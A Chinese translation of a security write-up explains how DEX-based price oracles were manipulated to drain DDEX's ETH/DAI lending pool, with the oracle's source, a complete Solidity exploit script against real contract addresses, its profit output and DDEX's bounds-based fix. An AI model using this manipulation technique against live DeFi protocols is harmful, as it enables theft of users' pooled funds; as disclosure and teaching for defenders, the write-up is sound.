编者注:价格操纵攻击已经几乎无处不在,本文中,介绍了使用 DEX 交易所作为价格预言机有被操控的风险,最难得的难得的是:作者详细介绍了数个案例攻击原理、攻击Demo 演示(文末包含全部代码)、已经应对的解决方案。 推荐DEFI 开发者阅读。
因依赖链上去中心化的价格预言而不验证返回的价格,DDEX和bZx容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。
首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。
在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。
为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):
链下中心化预言机 这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA(外部账户),而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。 Compound 和Synthetix的大多数资产使用这种类型的预言机。
链下去中心化预言机 这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。 Maker针对ETH和其他资产使用这种类型的预言机。
链上中心化预言机 这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。 dYdX和Nuo针对一些资产使用这种类型的预言机。
链上去中心化预言机 这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。 DDEX将这种类型的预言机用于DAI,而bZx对所有资产使用这种类型的预言机。
常量预言机 这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC 钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。
在寻找其他易受攻击的项目时,我看到了这条推文:
老实说,我担心他们会将其(Uniswap)用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。
— Vitalik 非以太赠予者(@VitalikButerin) 2019年2月20日
有人询问为什么,Uniswap项目以下回应:
推文翻译如下:
为什么使用Uniswap价格源容易受到攻击? 您的意思是操纵uniswap价格以触发清算吗?大多数金融衍生品市场,包括加密衍生品市场,其基础现货市场相比流动性数量级相形见绌。
Uniswap 回复:由于可以进行大量交易,因此用函数检查价格预言,然后使用智能合约同步执行另一项巨大交易。 这意味着攻击者只会损失手续费用,而无法被起诉。 我们正致力于将来将Uniswap提升为Oracle。
(译者注:tweet 的时间是 2019 年 2 月,但是具有时间加权功能的价格预言机功能的 Uniswap 还没有发布。)
这些推文非常清楚地说明了该问题,但需要注意的是,对于任何可以在链上提供FMV的预言机,而不仅仅是Uniswap,都存在此问题。
通常,如果价格预言机是完全去中心化的,则攻击者可以在特定瞬间操纵价格表现,而价格滑点的损失则很小甚至没有。如果攻击者随后能够在价格受到操纵的瞬间通知DeFi dApp检查预言机,则它们可能会对系统造成重大损害。在DDEX和bZx的情况下,有可能借出一笔看上去足够抵押的贷款,但实际上抵押不足。
DDEX是一个去中心化的交易平台,但是正在扩展到去中心化的借贷中,以便他们可以为用户提供创建杠杆多头和空头头寸的能力。他们目前正在对去中心化杠杆保证金交易进行Beta测试。
在2019年9月9日,DDEX将DAI作为资产添加到其保证金交易平台中,并启用了ETH/DAI市场。对于预言机,他们通过这个合约通过PriceOfETHInUSD/PriceOfETHInDAI
计算返回DAI/USD的价格。ETH/USD的价格从Maker 预言机中读取,而ETH/DAI的价格从Eth2Dai中读取,或者如果价差太大,则从Uniswap读取。
function peek()
public
view
returns (uint256 _price)
{
uint256 makerDaoPrice = getMakerDaoPrice();
if (makerDaoPrice == 0) {
return _price;
}
uint256 eth2daiPrice = getEth2DaiPrice();
if (eth2daiPrice > 0) {
_price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
return _price;
}
uint256 uniswapPrice = getUniswapPrice();
if (uniswapPrice > 0) {
_price = makerDaoPrice.mul(ONE).div(uniswapPrice);
return _price;
}
return _price;
}
function getEth2DaiPrice()
public
view
returns (uint256)
{
if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
return 0;
}
uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);
uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);
uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);
if (spread > eth2daiMaxSpread) {
return 0;
} else {
return bidPrice.add(askPrice).div(2);
}
}
function getUniswapPrice()
public
view
returns (uint256)
{
uint256 ethAmount = UNISWAP.balance;
uint256 daiAmount = DAI.balanceOf(UNISWAP);
uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);
if (ethAmount < uniswapMinETHAmount) {
return 0;
} else {
return uniswapPrice;
}
}
function getMakerDaoPrice()
public
view
returns (uint256)
{
(bytes32 value, bool has) = makerDaoOracle.peek();
if (has) {
return uint256(value);
} else {
return 0;
}
}
参考源码
为了触发更新并使预言机刷新其存储的值,用户只需调用updatePrice()
即可。
function updatePrice()
public
returns (bool)
{
uint256 _price = peek();
if (_price != 0) {
price = _price;
emit UpdatePrice(price);
return true;
} else {
return false;
}
}
参考源码
假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。
为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的(因为其采用中心化链下预言机),因此我们将尝试降低ETH/DAI的表现价值。
编者注,因为 DAI/USD价格 = ETH/USD价格 ÷ ETH/DAI 价格
预言机 通过 Eth2Dai取当前要价和当前出价的平均值来计算 ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。
但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。
为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:
尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI 预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。
以下脚本将通过以下方式获利约70 ETH:
contract DDEXExploit is Script, Constants, TokenHelper {
OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);
ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);
uint16 private constant ETHDAI_MARKET_ID = 1;
uint private constant INITIAL_BALANCE = 25000 ether;
function setup() public {
name("ddex-exploit");
blockNumber(8572000);
}
function run() public {
begin("exploit")
.withBalance(INITIAL_BALANCE)
.first(this.checkRates)
.then(this.skewRates)
.then(this.checkRates)
.then(this.steal)
.then(this.cleanup)
.then(this.checkProfits);
}
function checkRates() external {
uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
uint daiPrice = DAI_ORACLE.getPrice(DAI);
printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
}
uint private boughtFromMatchingMarket = 0;
function skewRates() external {
skewUniswapPrice();
skewMatchingMarket();
require(DAI_ORACLE.updatePrice());
}
function skewUniswapPrice() internal {
DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
}
function skewMatchingMarket() internal {
uint start = DAI.balanceOf(address(this));
WETH.deposit.value(address(this).balance)();
WETH.approve(address(MATCHING_MARKET), uint(-1));
while (DAI_ORACLE.getEth2DaiPrice() != 0) {
MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
}
boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
WETH.withdrawAll();
}
function steal() external {
HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.Common,
marketID: 0,
user: address(this)
});
HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.CollateralAccount,
marketID: 1,
user: address(this)
});
uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;
printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));
HydroLike.Action[] memory actions = new HydroLike.Action[](5);
actions[0] = HydroLike.Action({
actionType: HydroLike.ActionType.Deposit,
encodedParams: abi.encode(address(DAI), uint(daiRequired))
});
actions[1] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
});
actions[2] = HydroLike.Action({
actionType: HydroLike.ActionType.Borrow,
encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
});
actions[3] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
});
actions[4] = HydroLike.Action({
actionType: HydroLike.ActionType.Withdraw,
encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
});
DAI.approve(address(HYDRO), daiRequired);
HYDRO.batch(actions);
}
function cleanup() external {
DAI.approve(address(MATCHING_MARKET), uint(-1));
MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
WETH.withdrawAll();
DAI.giveAllToUniswap();
require(DAI_ORACLE.updatePrice());
}
function checkProfits() external {
printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
}
}
/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/
DDEX团队通过部署新的预言机解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。
function updatePrice()
public
returns (bool)
{
uint256 _price = peek();
if (_price == 0) {
return false;
}
if (_price == price) {
return true;
}
if (_price > maxP...
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!